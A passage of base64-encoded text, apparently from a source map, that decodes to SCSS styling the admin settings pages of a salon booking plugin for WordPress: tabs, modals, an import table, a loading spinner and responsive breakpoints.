W5fY29tcG9uZW50cy9ib3hlcyc7XG5AdXNlICdhZG1pbl9jb21wb25lbnRzL3BhbmVscyc7XG5AdXNlICdhZG1pbl9jb21wb25lbnRzL3Nob3AtZGV0YWlscyc7XG5AdXNlICdhZG1pbl9jb21wb25lbnRzL3NlcnZpY2UtZGV0YWlscyc7XG5AdXNlICdhZG1pbl9jb21wb25lbnRzL3NpZGViYXJfYmFubmVyJztcbkB1c2UgJ2FkbWluX2NvbXBvbmVudHMvZmllbGRzLWVkaXRvcic7XG5AdXNlICdhZG1pbl9jb21wb25lbnRzL3NldHRpbmdzX2lucGFnZV9uYXYnO1xuQHVzZSAnYWRtaW5fY29tcG9uZW50cy9ib29raW5nLWRldGFpbHMnO1xuQHVzZSAnYWRtaW5fY29tcG9uZW50cy9ib29raW5nLW5vc2hvdyc7XG5AdXNlICdhZG1pbl9jb21wb25lbnRzL2F0dGVuZGFudHMnO1xuQHVzZSAnYWRtaW5fY29tcG9uZW50cy9wbHVnaW5fc3RhdHVzYmFyJztcbkB1c2UgJ2FkbWluX2NvbXBvbmVudHMvcHJvZmVhdHVyZS10b29sdGlwJztcbkB1c2UgJ2FkbWluX2NvbXBvbmVudHMvdG9vbHRpcF9kYXknO1xuQHVzZSAnYWRtaW5fY29tcG9uZW50cy9hZG1pbl9jYWxlbmRhcic7XG5AdXNlICdhZG1pbl9jb21wb25lbnRzL3BhZ2VzJztcbkB1c2UgJ2FkbWluX2NvbXBvbmVudHMvdG9vbHMnO1xuQHVzZSAnYWRtaW5fY29tcG9uZW50cy9wYWdlbG9hZGluZyc7XG4vL0BpbXBvcnQgXCJhZG1pbl9jb21wb25lbnRzL2FkbWluLS1nb29nbGUtaWNvblwiO1xuLnNsbl9tZXRhX2ZpZWxkIHtcbiAgZGlzcGxheTogYmxvY2s7XG59XG5cbi5zbG4tZGF0ZSBzZWxlY3Qge1xuICB3aWR0aDogYXV0bztcbn1cblxuLnNsbi1jbGVhciB7XG4gIGRpc3BsYXk6IGJsb2NrO1xuICBjbGVhcjogYm90aDtcbiAgaGVpZ2h0OiAxcHg7XG4gIHdpZHRoOiAxMDAlO1xufVxuXG4jc2xuLWF2YWlsYWJpbGl0aWVzIGRpdi5pdGVtIHtcbiAgYm9yZGVyOiAxcHggc29saWQgI2RmZGZkZjtcbiAgcGFkZGluZzogMTBweDtcbiAgbWFyZ2luOiAycHg7XG59XG5cbi5zbG4tdGFiIHtcbiAgYm9yZGVyLXRvcC13aWR0aDogMDtcbiAgYmFja2dyb3VuZDogI2YxZjFmMTtcbiAgcGFkZGluZzogMzBweDtcbiAgLmZvcm0tZ3JvdXAgbGFiZWwgaW5wdXQge1xuICAgIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgICBtYXJnaW4tdG9wOiAtM3B4O1xuICB9XG59XG4jc2xuLXNhbG9uLS1hZG1pbi5zbG4tc2Fsb24tLXNldHRpbmdzLS1mcmVlIHtcbiAgLnNsbi10YWIge1xuICAgIHBhZGRpbmctYm90dG9tOiAzMHZoO1xuICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icCh0YWJsZXQpIHtcbiAgICAgIHBhZGRpbmctYm90dG9tOiAyNXZoO1xuICAgIH1cbiAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAoZGVza3RvcCkge1xuICAgICAgcGFkZGluZy1ib3R0b206IDI1dmg7XG4gICAgfVxuICB9XG59XG5ib2R5LnNsbi1ub3Njcm9sbCB7XG4gIG92ZXJmbG93OiBoaWRkZW47XG4gIC5zbG4tdGFiIC5zbG4tdGFiX19jdXJ0YWluIHtcbiAgICBkaXNwbGF5OiBibG9jaztcbiAgICBjb250ZW50OiAnJztcbiAgICBwb3NpdGlvbjogZml4ZWQ7XG4gICAgdG9wOiAwO1xuICAgIHJpZ2h0OiAwO1xuICAgIGJvdHRvbTogMDtcbiAgICBsZWZ0OiAwO1xuICAgIG9wYWNpdHk6IDAuODtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tYmctLWxpZ2h0ZXI7XG4gICAgQGV4dGVuZCAlemktZ3JhZmljYTtcbiAgfVxufVxuXG4uc2xuLXNlcGFyYXRvciB7XG4gIGhlaWdodDogMXB4O1xuICBib3JkZXItdG9wOiAxcHggc29saWQgI2RkZDtcbiAgbWFyZ2luOiAyZW0gYXV0bztcbiAgd2lkdGg6IDEwMCU7XG4gIGNsZWFyOiBib3RoO1xufVxuXG4vLyBNb2RhbCBiYWNrZ3JvdW5kXG4ubW9kYWwtYmFja2Ryb3Age1xuICBwb3NpdGlvbjogZml4ZWQ7XG4gIHRvcDogMDtcbiAgcmlnaHQ6IDA7XG4gIGJvdHRvbTogMDtcbiAgbGVmdDogMDtcbiAgei1pbmRleDogMTA0MDtcbiAgYmFja2dyb3VuZC1jb2xvcjogIzAwMDtcbiAgLy8gRmFkZSBmb3IgYmFja2Ryb3BcbiAgJi5mYWRlIHtcbiAgICBvcGFjaXR5OiAwO1xuICAgIGZpbHRlcjogYWxwaGEob3BhY2l0eT0wKTtcbiAgfVxuICAmLmluIHtcbiAgICBvcGFjaXR5OiAwLjU7XG4gICAgZmlsdGVyOiBhbHBoYShvcGFjaXR5PTUwKTtcbiAgfVxufVxuXG4jaW1wb3J0LW1hdGNoaW5nLW1vZGFsIHtcbiAgbGVmdDogMTYwcHggIWltcG9ydGFudDtcbiAgLm1vZGFsLWRpYWxvZyB7XG4gICAgd2lkdGg6IDcwJSAhaW1wb3J0YW50O1xuICB9XG59XG5cbi5zbG4taW1wb3J0LXRhYmxlIHtcbiAgZGlzcGxheTogYmxvY2s7XG4gIG92ZXJmbG93LXg6IGF1dG87XG4gIHRkIHtcbiAgICBib3JkZXItdG9wOiAxcHggc29saWQgIzIwNTA2OSAhaW1wb3J0YW50O1xuICAgIGJvcmRlci1sZWZ0OiBub25lO1xuICAgIGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMyMDUwNjkgIWltcG9ydGFudDtcbiAgICBib3JkZXItYm90dG9tOiBub25lICFpbXBvcnRhbnQ7XG4gICAgdGV4dC1hbGlnbjogY2VudGVyO1xuICAgIC5oYWxmLW9wYWNpdHkge1xuICAgICAgb3BhY2l0eTogMC41ICFpbXBvcnRhbnQ7XG4gICAgfVxuICAgIC5zbG4tc2VsZWN0IHtcbiAgICAgIHRleHQtYWxpZ246IGxlZnQgIWltcG9ydGFudDtcbiAgICAgIHdpZHRoOiAyMDBweCAhaW1wb3J0YW50O1xuICAgIH1cbiAgICAmOmZpcnN0LWNoaWxkIHtcbiAgICAgIGJvcmRlci1sZWZ0OiAxcHggc29saWQgIzIwNTA2OSAhaW1wb3J0YW50O1xuICAgIH1cbiAgfVxuICB0aCB7XG4gICAgYm9yZGVyLXRvcDogbm9uZSAhaW1wb3J0YW50O1xuICAgIGJvcmRlci1sZWZ0OiBub25lO1xuICAgIGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMyMDUwNjkgIWltcG9ydGFudDtcbiAgICBib3JkZXItYm90dG9tOiBub25lICFpbXBvcnRhbnQ7XG4gICAgdGV4dC1hbGlnbjogY2VudGVyICFpbXBvcnRhbnQ7XG4gICAgJjpmaXJzdC1jaGlsZCB7XG4gICAgICBib3JkZXItbGVmdDogMXB4IHNvbGlkICMyMDUwNjkgIWltcG9ydGFudDtcbiAgICB9XG4gIH1cbn1cblxuLnNsbi1pbXBvcnQtbG9hZGVyIHtcbiAgLXdlYmtpdC1hbmltYXRpb246IGdseXBoaWNvbi1zcGluLXIgMXMgaW5maW5pdGUgbGluZWFyO1xuICBhbmltYXRpb246IGdseXBoaWNvbi1zcGluLXIgMXMgaW5maW5pdGUgbGluZWFyO1xufVxuQC13ZWJraXQta2V5ZnJhbWVzIGdseXBoaWNvbi1zcGluLXIge1xuICAwJSB7XG4gICAgLXdlYmtpdC10cmFuc2Zvcm06IHJvdGF0ZSgwZGVnKTtcbiAgICB0cmFuc2Zvcm06IHJvdGF0ZSgwZGVnKTtcbiAgfVxuICAxMDAlIHtcbiAgICAtd2Via2l0LXRyYW5zZm9ybTogcm90YXRlKDM1OWRlZyk7XG4gICAgdHJhbnNmb3JtOiByb3RhdGUoMzU5ZGVnKTtcbiAgfVxufVxuQGtleWZyYW1lcyBnbHlwaGljb24tc3Bpbi1yIHtcbiAgMCUge1xuICAgIC13ZWJraXQtdHJhbnNmb3JtOiByb3RhdGUoMGRlZyk7XG4gICAgdHJhbnNmb3JtOiByb3RhdGUoMGRlZyk7XG4gIH1cbiAgMTAwJSB7XG4gICAgLXdlYmtpdC10cmFuc2Zvcm06IHJvdGF0ZSgzNTlkZWcpO1xuICAgIHRyYW5zZm9ybTogcm90YXRlKDM1OWRlZyk7XG4gIH1cbn1cblxuLy9cbi5zbG4tdGFiIHtcbiAgI3Nsbi1hdmFpbGFiaWxpdGllcyAuaXRlbXMgLml0ZW0ge1xuICAgIHBhZGRpbmc6IDEuNGVtO1xuICAgIG1hcmdpbjogMWVtIDA7XG4gICAgLmNvbC1tZC0xMiB7XG4gICAgICBwYWRkaW5nLWxlZnQ6IDA7XG4gICAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAocGhvbmUpIHtcbiAgICAgICAgcGFkZGluZy1yaWdodDogMDtcbiAgICAgIH1cbiAgICB9XG4gICAgLmZpcnN0LXJvdyB7XG4gICAgICBtYXJnaW4tYm90dG9tOiAxLjRlbTtcbiAgICAgIC5mb3JtLWdyb3VwIHtcbiAgICAgICAgcGFkZGluZy1yaWdodDogMmVtO1xuICAgICAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAodGFibGV0KSB7XG4gICAgICAgICAgcGFkZGluZy1yaWdodDogMWVtO1xuICAgICAgICB9XG4gICAgICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChwaG9uZSkge1xuICAgICAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgICAgIHdpZHRoOiA1MCU7XG4gICAgICAgICAgZmxvYXQ6IGxlZnQ7XG4gICAgICAgICAgbWFyZ2luOiAwIDAgMmVtIDBlbTtcbiAgICAgICAgICAmOmxhc3QtY2hpbGQge1xuICAgICAgICAgICAgZmxvYXQ6IG5vbmU7XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICB9XG4gICAgfVxuICB9XG5cbiAgLnNldHRpbmctaW50ZXJ2YWwge1xuICAgIG1hcmdpbi10b3A6IDEuNGVtO1xuICB9XG4gIGlucHV0W3R5cGU9J3JhZGlvJ10sXG4gIGlucHV0W3R5cGU9J2NoZWNrYm94J10ge1xuICAgIG1hcmdpbjogMCAwLjVlbTtcbiAgfVxuXG4gIC5zZXR0aW5ncy1hbGxvd2VkIHtcbiAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAodGFibGV0LXBvcnQpIHtcbiAgICAgIC5jb2wtbWQtNTpudGgtY2hpbGQoMSkge1xuICAgICAgICBtYXJnaW4tYm90dG9tOiAxLjRlbTtcbiAgICAgIH1cbiAgICB9XG4gICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHBob25lKSB7XG4gICAgICAuY29sLW1kLTU6bnRoLWNoaWxkKDEpIHtcbiAgICAgICAgbWFyZ2luLWJvdHRvbTogMS40ZW07XG4gICAgICB9XG4gICAgICBzZWxlY3Qge1xuICAgICAgICBtYXJnaW46IDAuMmVtIDA7XG4gICAgICB9XG4gICAgfVxuICB9XG5cbiAgLnNldHRpbmdzLWRpc2FibGUsXG4gIC5zZXR0aW5ncy1jb25maXJtYXRpb24ge1xuICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icCh0YWJsZXQtcG9ydCkge1xuICAgICAgLmNvbC1tZC02Om50aC1jaGlsZCgxKSB7XG4gICAgICAgIG1hcmdpbi1ib3R0b206IDEuNGVtO1xuICAgICAgfVxuICAgIH1cbiAgfVxufVxuXG4uc2Fsb25fcGFnZV9zYWxvbi1zZXR0aW5ncy53cC1jb3JlLXVpIC5idXR0b24tcHJpbWFyeSB7XG4gIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICBiYWNrZ3JvdW5kOiBzZXR0aW5ncy1taXhpbnMuJGNhLWJsdWU7XG4gIGJvcmRlci1jb2xvcjogc2V0dGluZ3MtbWl4aW5zLiRjYS1ibHVlO1xuXG4gIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgbWFyZ2luLWJvdHRvbTogMDtcbiAgZm9udC13ZWlnaHQ6IG5vcm1hbDtcbiAgdGV4dC1hbGlnbjogY2VudGVyO1xuICB2ZXJ0aWNhbC1hbGlnbjogbWlkZGxlO1xuICBjdXJzb3I6IHBvaW50ZXI7XG4gIGJhY2tncm91bmQtaW1hZ2U6IG5vbmU7XG4gIGJvcmRlcjogMXB4IHNvbGlkIHRyYW5zcGFyZW50O1xuICB3aGl0ZS1zcGFjZTogbm93cmFwO1xuICBwYWRkaW5nOiAwLjZlbSAyLjZlbTtcbiAgZm9udC1zaXplOiAxNHB4O1xuICBsaW5lLWhlaWdodDogMS40Mjg1NzE0Mjk7XG4gIGJvcmRlci1yYWRpdXM6IDRweDtcbiAgLXdlYmtpdC11c2VyLXNlbGVjdDogbm9uZTtcbiAgLW1vei11c2VyLXNlbGVjdDogbm9uZTtcbiAgLW1zLXVzZXItc2VsZWN0OiBub25lO1xuICB1c2VyLXNlbGVjdDogbm9uZTtcblxuICBib3gtc2hhZG93OiBub25lO1xuICBoZWlnaHQ6IGF1dG87XG5cbiAgJjpob3ZlciB7XG4gICAgYmFja2dyb3VuZDogIzMwNzFhOTtcbiAgICBib3JkZXItY29sb3I6ICMyODVlOGU7XG4gIH1cbn1cbi5zYWxvbl9wYWdlX3NhbG9uLXNldHRpbmdzLndwLWNvcmUtdWkgLnNsbi10YWIgLmJ1dHRvbi1wcmltYXJ5IHtcbiAgbWFyZ2luOiAwIDAgMCAtMWVtO1xufVxuLnVpLXNvcnRhYmxlIC50eXBlLXNsbl9zZXJ2aWNlLnVpLXNvcnRhYmxlLWhhbmRsZSxcbi51aS1zb3J0YWJsZSAudHlwZS1zbG5fYXR0ZW5kYW50LnVpLXNvcnRhYmxlLWhhbmRsZSxcbi50YXhvbm9teS1zbG5fc2VydmljZV9jYXRlZ29yeSAudWktc29ydGFibGUgLnVpLXNvcnRhYmxlLWhhbmRsZSB7XG4gIGN1cnNvcjogbW92ZTtcbn1cbi8vIFRBQlNcbi5zbG4tbmF2LXRhYi13cmFwcGVyLm5hdi10YWItd3JhcHBlcixcbmgyLnNsbi1uYXYtdGFiLXdyYXBwZXIubmF2LXRhYi13cmFwcGVyIHtcbiAgaW1nIHtcbiAgICBtYXJnaW4tcmlnaHQ6IDEwcHg7XG4gIH1cbiAgQG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWF4LXdpZHRoOiA1NjdweCkge1xuICAgIC8vIFRBQlMgU1UgU01BUlRQSE9ORSBJTiBQT1JULlxuICAgIHBhZGRpbmctcmlnaHQ6IDA7XG4gICAgcGFkZGluZy1sZWZ0OiAwO1xuICAgIHBhZGRpbmctdG9wOiAxMHB4O1xuICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICBpbWcge1xuICAgICAgbWFyZ2luLWJvdHRvbTogMTBweDtcbiAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgIHJpZ2h0OiAwO1xuICAgICAgdG9wOiAtMjVweDtcbiAgICB9XG4gICAgLm5hdi10YWIge1xuICAgICAgZGlzcGxheTogYmxvY2s7XG4gICAgICBtYXJnaW4tcmlnaHQ6IDA7XG4gICAgICBmb250LXNpemU6IDEycHg7XG4gICAgICBsaW5lLWhlaWdodDogMTJweDtcbiAgICAgIHBhZGRpbmc6IDEwcHg7XG4gICAgICB3aWR0aDogNDglO1xuICAgICAgbWFyZ2luOiAxJTtcbiAgICB9XG4gICAgLy8gVEFCUyBTVSBTTUFSVFBIT05FIElOIFBPUlQuIEVORFxuICB9XG5cbiAgQG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWluLXdpZHRoOiA1NjhweCkgYW5kIChtYXgtd2lkdGg6IDc2N3B4KSB7XG4gICAgLy8gVEFCUyBTVSBTTUFSVFBIT05FIElOIExBTkQuXG4gICAgcGFkZGluZy1yaWdodDogMDtcbiAgICBwYWRkaW5nLWxlZnQ6IDA7XG4gICAgcGFkZGluZy10b3A6IDEwcHg7XG4gICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgIGltZyB7XG4gICAgICBtYXJnaW4tYm90dG9tOiAwO1xuICAgIH1cbiAgICAubmF2LXRhYiB7XG4gICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgICBtYXJnaW4tcmlnaHQ6IDA7XG4gICAgICBmb250LXNpemU6IDEycHg7XG4gICAgICBsaW5lLWhlaWdodDogMTJweDtcbiAgICAgIHBhZGRpbmc6IDEwcHg7XG4gICAgICB3aWR0aDogMjAlO1xuICAgICAgbWFyZ2luOiAwLjIlO1xuICAgIH1cbiAgICAvLyBUQUJTIFNVIFNNQVJUUEhPTkUgSU4gTEFORC4gRU5EXG4gIH1cbn1cbi5zbG4tc2Fsb24tLXNldHRpbmdzIC5zbG4tbmF2LXRhYi13cmFwcGVyLm5hdi10YWItd3JhcHBlcixcbi5zbG4tc2Fsb24tLXNldHRpbmdzIGgyLnNsbi1uYXYtdGFiLXdyYXBwZXIubmF2LXRhYi13cmFwcGVyIHtcbiAgZGlzcGxheTogZmxleDtcbiAgZmxleDogMSAwIGF1dG87XG4gIGZsZXgtd3JhcDogd3JhcDtcbiAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLnRyYW5zaXRpb24odG9wIDE1MG1zKTtcbiAgLm5hdi10YWIge1xuICAgIGRpc3BsYXk6IGZsZXg7XG4gICAgZmxleDogMSAwIGF1dG87XG4gICAgaGVpZ2h0OiA0NHB4O1xuICAgIGxpbmUtaGVpZ2h0OiA0NHB4O1xuICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICBtYXJnaW46IDA7XG4gICAgcGFkZGluZzogMCAxMnB4O1xuICAgIGp1c3RpZnktY29udGVudDogY2VudGVyO1xuICAgIG1pbi13aWR0aDogMDtcbiAgICB3aWR0aDogYXV0bztcbiAgICBib3JkZXI6IG5vbmU7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICAgICY6OmJlZm9yZSB7XG4gICAgICBjb250ZW50OiAnXFxmMDEzJztcbiAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgICAgIC8vcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgLy90b3A6IDA7XG4gICAgICAvL2xlZnQ6IDlweDtcbiAgICAgIC8vYm90dG9tOiAwO1xuICAgICAgLy90ZXh0LWFsaWduOiBjZW50ZXI7XG4gICAgICBwYWRkaW5nLXJpZ2h0OiAwLjc1ZW07XG4gICAgICBAZXh0ZW5kICVmb250LWljb247XG4gICAgICBmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMjBweCk7XG4gICAgICB6LWluZGV4OiAyMDA7XG4gICAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMudHJhbnNpdGlvbihiYWNrZ3JvdW5kLWNvbG9yIDIwMG1zKTtcbiAgICB9XG4gICAgJjpmb2N1cyxcbiAgICAmOmFjdGl2ZSB7XG4gICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLmFscGhhLXRvbmVzKFxuICAgICAgICBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0LFxuICAgICAgICAwLjVcbiAgICAgICk7XG4gICAgICBvdXRsaW5lOiBub25lO1xuICAgICAgYm94LXNoYWRvdzogbm9uZTtcbiAgICB9XG4gICAgQG1lZGlhIChob3ZlcjogaG92ZXIpLCAoLW1zLWhpZ2gtY29udHJhc3Q6IG5vbmUpIHtcbiAgICAgICY6aG92ZXIge1xuICAgICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0ZXI7XG4gICAgICB9XG4gICAgfVxuICAgIC8qIEZJWCAwOTIwMjNcbiAgICAgICAgJi5uYXYtdGFiLWdlbmVyYWw6OmJlZm9yZSB7XG4gICAgICAgICAgICBjb250ZW50OiBcIlxcZjAxM1wiO1xuICAgICAgICB9XG4gICAgICAgICYubmF2LXRhYi1ib29raW5nOjpiZWZvcmUge1xuICAgICAgICAgICAgY29udGVudDogXCJcXGYwNzNcIjtcbiAgICAgICAgfVxuICAgICAgICAmLm5hdi10YWItY2hlY2tvdXQ6OmJlZm9yZSB7XG4gICAgICAgICAgICBjb250ZW50OiBcIlxcZjA3YVwiO1xuICAgICAgICB9XG4gICAgICAgICYubmF2LXRhYi1wYXltZW50czo6YmVmb3JlIHtcbiAgICAgICAgICAgIGNvbnRlbnQ6IFwiXFxmMDlkXCI7XG4gICAgICAgICAgICBmb250LXdlaWdodDogNDAwO1xuICAgICAgICB9XG4gICAgICAgICYubmF2LXRhYi1zdHlsZTo6YmVmb3JlIHtcbiAgICAgICAgICAgIGNvbnRlbnQ6IFwiXFxmMDM2XCI7XG4gICAgICAgIH1cbiAgICAgICAgJi5uYXYtdGFiLWdjYWxlbmRhcjo6YmVmb3JlIHtcbiAgICAgICAgICAgIGNvbnRlbnQ6IFwiXFxmMWEwXCI7XG4gICAgICAgICAgICBmb250LXdlaWdodDogMzAwO1xuICAgICAgICB9XG4gICAgICAgICYubmF2LXRhYi1kb2N1bWVudGF0aW9uOjpiZWZvcmUge1xuICAgICAgICAgICAgY29udGVudDogXCJcXGYwMmRcIjtcbiAgICAgICAgfVxuICAgICAgICAqL1xuICAgICYubmF2LXRhYi1hY3RpdmUge1xuICAgICAgYm9yZGVyOiBub25lO1xuICAgICAgYm9yZGVyLWJvdHRvbTogM3B4IHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG4gICAgfVxuICB9XG4gIC5zbG4taW5wYWdlX25hdmJhcl9fY3VycmVudHRhYiB7XG4gICAgZGlzcGxheTogbm9uZTtcbiAgICB3aWR0aDogNDRweDtcbiAgICBoZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNjZweCk7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICB0ZXh0LWRlY29yYXRpb246IG5vbmU7XG4gICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgICBib3JkZXItcmlnaHQ6IDFweCBzb2xpZFxuICAgICAgYWRtaW5fY29uZmlnLmFscGhhLXRvbmVzKGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQsIDAuNSk7XG4gICAgLyogRklYIDA5MjAyM1xuICAgICAgICAmOjpiZWZvcmUge1xuICAgICAgICAgICAgZGlzcGxheTogYmxvY2s7XG4gICAgICAgICAgICBjb250ZW50OiBcIlxcZjAxM1wiO1xuICAgICAgICAgICAgQGV4dGVuZCAlZm9udC1pY29uO1xuICAgICAgICAgICAgZm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDI0cHgpO1xuICAgICAgICAgICAgbGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNjZweCk7XG4gICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gICAgICAgIH1cbiAgICAgICAgJi5zbG4taW5wYWdlX25hdmJhcl9faWNvbi0tY2xvc2U6OmJlZm9yZSB7XG4gICAgICAgICAgICBjb250ZW50OiBcIlxcZjAwZFwiO1xuICAgICAgICB9XG4gICAgICAgICovXG4gIH1cbiAgJi5hZmZpeCB7XG4gICAgQGV4dGVuZCAlemktdG9wO1xuICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICB0b3A6IC0xMDB2aDtcbiAgICByaWdodDogMDtcbiAgICBsZWZ0OiAwO1xuICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgJi5zbG4tbmF2LXRhYi13cmFwcGVyLS1pbnZpZXcge1xuICAgICAgcG9zaXRpb246IGZpeGVkO1xuICAgICAgdG9wOiAwO1xuICAgIH1cbiAgICAuc2xuLWlucGFnZV9uYXZiYXJfX2N1cnJlbnR0YWIge1xuICAgICAgZGlzcGxheTogYmxvY2s7XG4gICAgfVxuICB9XG4gIEBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1heC13aWR0aDogNTY3cHgpIHtcbiAgICAubmF2LXRhYiB7XG4gICAgICBtYXJnaW46IDAgMC4ycmVtIDAuMnJlbSAwO1xuICAgICAgJi5uYXYtdGFiLWFjdGl2ZSB7XG4gICAgICAgIG1hcmdpbi1ib3R0b206IDA7XG4gICAgICAgIG9yZGVyOiAxO1xuICAgICAgICBib3JkZXItYm90dG9tOiBub25lO1xuICAgICAgfVxuICAgIH1cbiAgICAmLmFmZml4IHtcbiAgICAgIC5uYXYtdGFiIHtcbiAgICAgICAgbWFyZ2luOiAwO1xuICAgICAgICBwYWRkaW5nOiAwIHNldHRpbmdzLW1peGlucy5yZW0oMzlweCk7XG4gICAgICAgIHdpZHRoOiAxMDAlO1xuICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGZsZXgtc3RhcnQ7XG4gICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZFxuICAgICAgICAgIGFkbWluX2NvbmZpZy5hbHBoYS10b25lcyhhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0LCAwLjUpO1xuICAgICAgICAmLm5hdi10YWItYWN0aXZlIHNwYW4ge1xuICAgICAgICAgIGJvcmRlci1ib3R0b206IDNweCBzb2xpZCAjYzdkZmYzO1xuICAgICAgICAgIHBhZGRpbmc6IDAgMjFweCAwIDMwcHg7XG4gICAgICAgICAgbWFyZ2luLWxlZnQ6IC0zMHB4O1xuICAgICAgICAgIG1hcmdpbi1ib3R0b206IC0xcHg7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICAgIC5zbG4taW5wYWdlX25hdmJhcl9fY3VycmVudHRhYiB7XG4gICAgICAgIHdpZHRoOiAxMDAlO1xuICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWRcbiAgICAgICAgICBhZG1pbl9jb25maWcuYWxwaGEtdG9uZXMoYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodCwgMC41KTtcbiAgICAgICAgLy9wb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgICAgIC8vYm90dG9tOiAwO1xuICAgICAgICAvL2xlZnQ6IDA7XG4gICAgICAgICY6OmJlZm9yZSB7XG4gICAgICAgICAgdGV4dC1hbGlnbjogcmlnaHQ7XG4gICAgICAgICAgcGFkZGluZy1yaWdodDogMTVweDtcbiAgICAgICAgfVxuICAgICAgfVxuICAgIH1cbiAgfVxuICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAodGFibGV0KSB7XG4gICAgJi5hZmZpeCB7XG4gICAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgICB0b3A6IC0xMDBweDtcbiAgICAgIHJpZ2h0OiAwO1xuICAgICAgbGVmdDogMDtcbiAgICAgICYuc2xuLW5hdi10YWItd3JhcHBlci0taW52aWV3IHtcbiAgICAgICAgcG9zaXRpb246IGZpeGVkO1xuICAgICAgICB0b3A6IDQ2cHg7XG4gICAgICB9XG4gICAgfVxuICB9XG4gIEBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1pbi13aWR0aDogODAwcHgpIHtcbiAgICAvL0BpbmNsdWRlIGJwKGRlc2t0b3ApIHtcbiAgICAmLmFmZml4IHtcbiAgICAgIHRvcDogLTEwMHB4O1xuICAgICAgcmlnaHQ6IDA7XG4gICAgICBsZWZ0OiAxNjBweDtcbiAgICAgICYuc2xuLW5hdi10YWItd3JhcHBlci0taW52aWV3IHtcbiAgICAgICAgdG9wOiAzMnB4O1xuICAgICAgfVxuICAgIH1cbiAgICAubmF2LXRhYiB7XG4gICAgICBwYWRkaW5nOiAwIDE4cHg7XG4gICAgfVxuICB9XG59XG4vLyBUQUJTIEVORFxuXG5AaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAodGFibGV0LXBvcnQpIHtcbiAgLnNsbi10YWIge1xuICAgICNzbG4tYXZhaWxhYmlsaXRpZXMgLml0ZW1zIC5pdGVtIC5idG4uYnRuLWJsb2NrLmJ0bi1kYW5nZXIge1xuICAgICAgd2lkdGg6IDI1JTtcbiAgICAgIGZsb2F0OiByaWdodDtcbiAgICAgIG1hcmdpbi10b3A6IDFlbTtcbiAgICB9XG4gICAgI3Nsbi1hdmFpbGFiaWxpdGllcyAuY29sLW1kLTIucHVsbC1yaWdodCB7XG4gICAgICB3aWR0aDogMjklO1xuICAgICAgbWFyZ2luLXRvcDogMWVtO1xuICAgIH1cbiAgfVxufVxuQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHBob25lKSB7XG4gIC5zbG4tdGFiIHtcbiAgICAjc2xuLWF2